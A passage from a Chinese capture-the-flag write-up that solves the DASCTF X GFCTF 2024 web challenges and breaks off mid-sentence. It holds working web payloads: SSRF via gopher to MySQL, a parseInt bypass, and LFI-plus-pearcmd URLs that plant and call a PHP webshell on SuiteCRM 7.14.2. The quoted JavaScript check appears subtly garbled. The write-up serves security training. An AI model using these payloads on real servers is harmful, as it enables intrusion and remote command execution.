行业知识
【Web】DASCTF X GFCTF 2024|四月开启第一局 题解(全)
2026-11-06 00:12:09
来源:互联网转载
目录
EasySignin
cool_index
SuiteCRM
web1234
法一、条件竞争(没成功)
法二、session反序列化
EasySignin
先随便注册个账号登录,然后拿bp抓包改密码(username改成admin)
然后admin / 1234567登录
康好康的图片功能可以打SSRF,不能直接读本地文件,比如/etc/paswd /proc/1/environ
gopher协议探测出3306端口,可以打mysql
直接gopherus来打
生成的payload _ 后的部分要url二次编码
base64解码拿到flag
cool_index
拿到附件,主要看这段逻辑
app.post("/article", (req, res) => { const token = req.cookies.token; if (token) { try { const decoded = jwt.verify(token, JWT_SECRET); let index = req.body.index; if (req.body.index = 7) { return res .status(403) .json({ message: "订阅高级会员以解锁" }); } index = parseInt(index); if (Number.isNaN(index) || index > articles.length - 1) { return res.status(400).json({ message: "你知道我要说什么" }); } return res.json(articles[index]); } catch (error) { res.clearCookie("token"); return res.status(403).json({ message: "重新登录罢" }); } } else { return res.status(403).json({ message: "未登录" }); }}); 注意到index是在中间才进行parseInt处理的,所以可以进行一个特性的利用
可以自行对照一下各种判断,最后会输出第八篇文章,索引为7
SuiteCRM
Suite CRM v7.14.2 - RCE via LFI | Advisories | Fluid Attacks
直接复现CVE即可
先是切换到81端口,suitecrm/suitecrm登录
LFI肯定想到打pearcmd
/index.php//usr/local/lib/php/pearcmd.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/+/tmp/shell.php
先pearcmd写马
再包含写进去的马,命令执行拿flag
/index.php//tmp/shell.phpcmd=system('tac /f*'); web1234
登录很容易,就是附件里resetconf里的信息进行一波处理
然后?uname=admin&passwd=1q2w3e登录
法一、条件竞争(没成功)
大体思路就是先反序列化给record.php写入